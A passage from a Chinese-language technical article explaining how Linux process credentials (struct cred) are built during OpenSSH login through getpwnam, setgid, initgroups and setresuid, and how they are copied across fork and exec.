leaf="">。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">3. 登录程序层：sshd 如何拿到 UID/GID</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 OpenSSH 的 sshd 为例，认证通过后，sshd 调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam()</span></code><span leaf=""> 查询用户信息（auth.c）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// openssh-portable/auth.c</span></span><span style="line-height: 26px;"><span leaf="">struct passwd *</span><br/><span style="color: #61aeee;line-height: 26px;"><span leaf="">getpwnamallow</span></span><span style="line-height: 26px;"><span leaf="">(struct ssh *ssh, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user)</span></span><br/></span><span leaf="">{</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ... 安全检查 ...</span></span><br/><span leaf="">    pw = getpwnam(user);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ← 这里查出 struct passwd，包含 UID/GID</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ... 权限验证 ...</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> pw;</span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此后 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw-&gt;pw_uid</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw-&gt;pw_gid</span></code><span leaf=""> 就在 sshd 进程的用户空间内存中了。接下来 sshd 要做的，就是把这些数字</span><strong style="font-weight: bold;color: black;"><span leaf="">通过系统调用交给内核</span></strong><span leaf="">，让内核写入 cred。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">4. 设置层：从用户空间到内核 cred</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">sshd 拿到 UID/GID 后，按顺序调用四个关键函数（基于 OpenSSH 源码 uidswap.c 和 session.c）：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第一步：setgid() — 设置主 GID</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// openssh-portable/session.c</span></span><br/><span leaf="">setgid(pw-&gt;pw_gid);   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 例如 setgid(1000)</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">内核收到后（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__sys_setgid</span></code><span leaf="">），创建新 cred，设置 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">gid = egid = sgid = fsgid = 1000</span></code><span leaf="">，commit。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第二步：initgroups() — 设置补充组</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// openssh-portable/session.c</span></span><br/><span leaf="">initgroups(pw-&gt;pw_name, pw-&gt;pw_gid);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 例如 initgroups(&#34;ubuntu&#34;, 1000)</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups()</span></code><span leaf=""> 是 glibc 函数，它内部会：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">通过 NSS 查询 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/group</span></code><span leaf="">（或 LDAP），找出 ubuntu 所属的所有组</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setgroups()</span></code><span leaf=""> 系统调用，把组列表交给内核</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">内核的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setgroups()</span></code><span leaf=""> 实现（kernel/groups.c）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SYSCALL_DEFINE2(setgroups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">, gidsetsize, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> __user *, grouplist)</span><br/><span leaf="">{</span><br/><span leaf="">    group_info = groups_alloc(gidsetsize);     </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 分配 group_info 结构</span></span><br/><span leaf="">    groups_from_user(group_info, grouplist);   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 从用户空间拷贝组列表</span></span><br/><span leaf="">    groups_sort(group_info);                   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 排序（供后续二分查找用）</span></span><br/><span leaf="">    set_current_groups(group_info);            </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 写入 cred-&gt;group_info</span></span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最终 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred-&gt;group_info</span></code><span leaf=""> 里就有了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">[27(sudo), 998(docker), 4(adm), ...]</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第三步：permanently_set_uid() — 永久切换 UID</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// openssh-portable/uidswap.c</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">permanently_set_uid</span></span><span style="line-height: 26px;"><span leaf="">(struct passwd *pw)</span></span><br/></span><span leaf="">{</span><br/><span leaf="">    setresgid(pw-&gt;pw_gid, pw-&gt;pw_gid, pw-&gt;pw_gid);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 再确认一次 GID</span></span><br/><span leaf="">    initgroups(pw-&gt;pw_name, pw-&gt;pw_gid);              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 再确认一次补充组</span></span><br/><span leaf="">    setresuid(pw-&gt;pw_uid, pw-&gt;pw_uid, pw-&gt;pw_uid);   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 切换 UID</span></span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid(1000, 1000, 1000)</span></code><span leaf=""> 的内核实现（kernel/sys.c）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span leaf=""> __sys_setresuid(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> ruid, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> euid, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> suid)</span><br/><span leaf="">{</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> = prepare_creds();          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// COW：分配新 cred，拷贝当前内容</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (ruid != (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">)</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">-&gt;uid = kruid;           </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// real UID = 1000</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (euid != (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">)</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">-&gt;euid = keuid;          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// effective UID = 1000</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">-&gt;fsuid = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">-&gt;euid;         </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fsuid 跟随 euid = 1000</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (suid != (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">)</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">-&gt;suid = ksuid;          </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// saved UID = 1000</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> commit_creds(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf="">);       </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 替换 task_struct 的 cred 指针</span></span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">请注意：上面的代码是为了说明 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 字段如何被更新而做的</span><strong style="font-weight: bold;color: black;"><span leaf="">简化示意</span></strong><span leaf="">，省略了真实内核里非常关键的一步权限检查。实际源码会先判断新设置的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ruid/euid/suid</span></code><span leaf=""> 是否超出了当前进程已有的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">{uid, euid, suid}</span></code><span leaf=""> 可切换范围；如果超出，则必须具备 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CAP_SETUID</span></code><span leaf="">，否则直接返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-EPERM</span></code><span leaf="">。也就是说，普通用户不能靠 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid(0, 0, 0)</span></code><span leaf=""> 直接把自己提权成 root。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresgid()</span></code><span leaf=""> 同理，设置 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">gid/egid/sgid/fsgid</span></code><span leaf=""> 四个字段。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">5. 完整走一遍</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用 SSH 登录 ubuntu 用户为例，追踪 cred 对象在每一步的变化：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SSH 连接建立</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 主进程 fork 出子进程</span><br/><span leaf="">  子进程继承 root 的 cred_A:</span><br/><span leaf="">    uid=0, euid=0, gid=0, group_info=[0(root)]</span><br/><span leaf="">  ↓</span><br/><span leaf="">PAM 认证通过，确认用户是 ubuntu</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 调用 getpwnam(&#34;ubuntu&#34;)</span><br/><span leaf="">  → glibc 通过 NSS 查询 /etc/passwd</span><br/><span leaf="">  → 返回 struct passwd { pw_uid=1000, pw_gid=1000, ... }</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 调用 setgid(1000)                     ← 必须 root 身份才能调</span><br/><span leaf="">  → prepare_creds() 分配 cred_B，拷贝 cred_A</span><br/><span leaf="">  → cred_B.gid = cred_B.egid = cred_B.sgid = cred_B.fsgid = 1000</span><br/><span leaf="">  → commit_creds(cred_B)，释放 cred_A</span><br/><span leaf="">  子进程现在持有 cred_B:</span><br/><span leaf="">    uid=0, euid=0, gid=1000, group_info=[0(root)]</span><br/><span leaf="">    ↑ UID 还是 root，GID 已经切到 ubuntu</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 调用 initgroups(&#34;ubuntu&#34;, 1000)</span><br/><span leaf="">  → glibc 通过 NSS 查询 /etc/group</span><br/><span leaf="">  → 找到 ubuntu 所属的组：sudo(27), docker(998), adm(4)</span><br/><span leaf="">  → 调用 setgroups() 系统调用</span><br/><span leaf="">  → prepare_creds() 分配 cred_C，拷贝 cred_B</span><br/><span leaf="">  → cred_C.group_info = [4, 27, 998]（已排序）</span><br/><span leaf="">  → commit_creds(cred_C)，释放 cred_B</span><br/><span leaf="">  子进程现在持有 cred_C:</span><br/><span leaf="">    uid=0, euid=0, gid=1000, group_info=[4,27,998]</span><br/><span leaf="">    ↑ UID 还是 root，但补充组已经加载好了</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 调用 setresuid(1000, 1000, 1000)      ← drop root，不可回退</span><br/><span leaf="">  → prepare_creds() 分配 cred_D，拷贝 cred_C</span><br/><span leaf="">  → cred_D.uid = cred_D.euid = cred_D.suid = cred_D.fsuid = 1000</span><br/><span leaf="">  → commit_creds(cred_D)，释放 cred_C</span><br/><span leaf="">  子进程现在持有 cred_D:</span><br/><span leaf="">    uid=1000, euid=1000, gid=1000, group_info=[4,27,998]</span><br/><span leaf="">    ↑ 完全以 ubuntu 身份运行，不再是 root</span><br/><span leaf="">  ↓</span><br/><span leaf="">sshd 调用 execve(&#34;/bin/bash&#34;)</span><br/><span leaf="">  → prepare_exec_creds() 分配 cred_E，拷贝 cred_D</span><br/><span leaf="">  → bash 不是 SUID 程序，不修改任何字段</span><br/><span leaf="">  → commit_creds(cred_E)，释放 cred_D</span><br/><span leaf="">  bash 持有 cred_E:</span><br/><span leaf="">    uid=1000, euid=1000, gid=1000, group_info=[4,27,998]</span><br/><span leaf="">    ↑ 内容与 cred_D 相同，但是独立的新对象</span><br/><span leaf="">  ↓</span><br/><span leaf="">后续 bash fork 出的所有子进程都从这个 cred_E 继承</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，从 cred_A 到 cred_E，每次修改都是 prepare → modify → commit 三步，每次都分配新对象、释放旧对象。这正是前面讲 COW 机制时的模式。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">6. 关键认知</span></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">认知</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">内核不读 /etc/passwd</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">内核只接受系统调用传入的数字（UID/GID），不关心这些数字从哪来</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">UID/GID 的来源可能是远程的</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 NSS，UID/GID 可以来自 LDAP、AD、SSSD，不一定是本地文件</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">补充组也是一次性加载的</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">initgroups()</span></code><p><span leaf=""> 在登录时查询组数据库，结果钉到 </span><code><span leaf="">cred-&gt;group_info</span></code><span leaf="">，之后不再回查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">cred 一旦设置就独立存在</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">登录程序设置完 cred 后，无论原来的 </span><code><span leaf="">/etc/passwd</span></code><span leaf=""> 怎么改，现有 cred 不会自动更新</span></p></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x07 cred 在进程生命周期中的流转</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面讲了 cred 的结构、权限校验、UID/GID 的来源。这一节用具体场景追踪 cred 对象在进程生命周期中如何传递和变化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们已经在前一节看过 SSH 登录建立初始 cred 的完整过程（从 cred_A 到 cred_E）。这里看其他常见场景。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">1. 普通命令执行（fork + exec）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最常见的路径——bash 执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ls</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">bash (cred_A: uid=1000, euid=1000)</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ fork()</span><br/><span leaf="">  │    copy_creds() → prepare_creds()</span><br/><span leaf="">  │    从 slab 分配新对象，memcpy 拷贝 cred_A 的内容</span><br/><span leaf="">  │    子进程拿到独立的 cred_B（内容与 cred_A 相同，对象不同）</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 子进程 execve(&#34;/bin/ls&#34;)</span><br/><span leaf="">  │    prepare_exec_creds() → prepare_creds()</span><br/><span leaf="">  │    又分配新对象 cred_C，memcpy 拷贝 cred_B 的内容</span><br/><span leaf="">  │    ls 不是 SUID 程序 → bprm_fill_uid() 不修改任何字段</span><br/><span leaf="">  │    cred_B 被释放（put_cred），ls 使用 cred_C</span><br/><span leaf="">  │</span><br/><span leaf="">  └─ 结果：</span><br/><span leaf="">       bash → cred_A (uid=1000, euid=1000)  ← 不变</span><br/><span leaf="">       ls   → cred_C (uid=1000, euid=1000)  ← 独立对象，内容相同</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一次普通命令执行涉及</span><strong style="font-weight: bold;color: black;"><span leaf="">两次 cred 创建</span></strong><span leaf="">：fork 时一次，exec 时又一次。中间的 cred_B 生命期极短。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">2. SUID 程序执行（fork + exec SUID 文件）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/bin/passwd</span></code><span leaf="">（属主 root，设置了 SUID 位）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">bash (cred_A: uid=1000, 